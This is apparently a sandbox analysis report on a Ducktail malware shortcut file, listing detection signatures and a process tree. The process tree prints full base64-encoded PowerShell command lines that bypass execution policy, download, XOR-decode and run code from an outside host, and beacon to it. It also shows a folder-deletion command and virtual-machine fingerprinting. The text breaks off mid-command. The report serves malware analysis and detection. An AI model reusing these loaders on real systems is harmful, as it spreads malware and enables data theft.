Edit tour

Windows Analysis Report
m9c7iq9nzP.lnk

Overview

General Information

Sample name:	m9c7iq9nzP.lnk
Analysis ID:	1573011
MD5:	5a82981b8efc6b7947269d2fd544ce88
SHA1:	55efb0ab3772de1ff53eca9e11b164924a071787
SHA256:	1e186d774a1348a9d4aca53e2045901c8a882422293cdf20fd2a8bcaaa6c7818
Infos:

Detection

Ducktail

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

Yara detected Ducktail

Yara detected Powershell download and execute

Allows multiple concurrent remote connection

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies security policies related information

Potential dropper URLs found in powershell memory

PowerShell case anomaly found

Powershell drops PE file

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Reads the Security eventlog

Reads the System eventlog

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: PowerShell Base64 Encoded WMI Classes

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious New Service Creation

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Uses regedit.exe to modify the Windows registry

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file contains strange resources

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64native

cmd.exe (PID: 2844 cmdline: "C:\Windows\system32\cmd.exe" /v /k "powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="" && exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 8012 cmdline: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA==" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3152 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

csc.exe (PID: 5756 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 6216 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2DEB.tmp" "c:\Users\user\AppData\Local\Temp\st5qs1wr\CSC2C64D26780D497590A0A819DD9C4D5F.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 2720 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

WINWORD.EXE (PID: 4024 cmdline: "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\Meeting-Registration-Form.docx.docx" /o "" MD5: E7F3B8EA1B06F46176FC5C35307727D6)

cmd.exe (PID: 5440 cmdline: "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA== MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 6280 cmdline: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sppsvc.exe (PID: 8596 cmdline: C:\Windows\system32\sppsvc.exe MD5: 30C7EF47B57367CC546173BB4BB2BB04)

svchost.exe (PID: 8712 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: F586835082F632DC8D9404D83BC16316)

svczHost.exe (PID: 9124 cmdline: C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de MD5: 9298A0077E8353244A38CAEFE43AF4CB)

conhost.exe (PID: 9136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 9196 cmdline: "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 2260 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 8232 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

powershell.exe (PID: 6760 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGY